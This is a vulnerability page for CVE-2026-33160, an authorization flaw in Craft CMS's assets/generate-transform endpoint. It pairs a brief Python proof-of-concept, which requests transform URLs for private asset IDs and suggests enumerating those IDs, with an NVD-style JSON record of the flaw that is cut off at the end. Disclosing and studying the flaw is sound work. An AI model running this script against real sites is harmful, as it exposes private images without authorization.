CVE-2026-33160

import requests # Target URL of the vulnerable endpoint target_url = "http://target-craft-cms.com/assets/generate-transform" # The payload requires a private assetId. # Attackers may enumerate IDs to find private assets. payload = { "assetId": "123", # Replace with a valid private asset ID "transform": "scale" # Example transformation type } try: # Send POST request to the vulnerable endpoint response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Vulnerability confirmed!") print("[+] Response received:") print(response.text) # The response usually contains a URL to the transformed image # Accessing this URL allows downloading the private image. else: print("[-] Request failed or not vulnerable.") print("Status Code:", response.status_code) except Exception as e: print("Error:", e)

{"cve": {"id": "CVE-2026-33160", "sourceIdentifier": "[email protected]", "published": "2026-03-24T18:16:10.087", "lastModified": "2026-03-26T14:09:00.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Craft CMS is a content management system (CMS). From version 4.0.0-RC1 to before version 4.17.8 and from version 5.0.0-RC1 to before version 5.9.14, an unauthenticated user can call assets/generate-transform with a private assetId, receive a valid transform URL, and fetch transformed image bytes. The endpoint is anonymous and does not enforce per-asset authorization before returning the transform URL. This issue has been patched in versions 4.17.8 and 5.9.14."}, {"lang": "es", "value": "Craft CMS es un sistema de gestión de contenido (CMS). Desde la versión 4.0.0-RC1 hasta antes de la versión 4.17.8 y desde la versión 5.0.0-RC1 hasta antes de la versión 5.9.14, un usuario no autenticado puede llamar a assets/generate-transform con un assetId privado, recibir una URL de transformación válida y obtener bytes de imagen transformada. El endpoint es anónimo y no aplica autorización por activo antes de devolver la URL de transformación. Este problema ha sido parcheado en las versiones 4.17.8 y 5.9.14."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*", "versionStartExcluding": "4.0.0", "versionEndExcluding": "4.17.8", "matchCriteriaId": "6D076F04-8397-4ED0-8428-6D04B786A0A1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*", "versionStartExcluding": "5.0.0", "versionEndExcluding": "5.9.14", "matchCriteriaId": "7ADCA708-F32E-4943-B523-CF5029C48A50"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:4.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "610F6DE9-720F-45B3-81D5-18E7F6B090FD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:4.0.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "CC2F40FC-7C27-456A-B16D-679410D1D5CF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:4.0.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "FBAA8227-04F8-404C-907B-B0162B325F5A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:4.0.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "21B28E2C-327A-4CE6-ACAD-97E459712A55"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:5.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "1C7461CF-35AB-48E1-88B6-956DAE1D2AB4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:5.0.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "8D8E02D1-601A-4E2B-B619-4775BFDB72D0"}]}]}], "references": [{"url": "https://github.com/craftcms/cms/commit/7290d91639e", "source": "[email protected]", "tags": ["Patch"]}, {"u ... (truncated)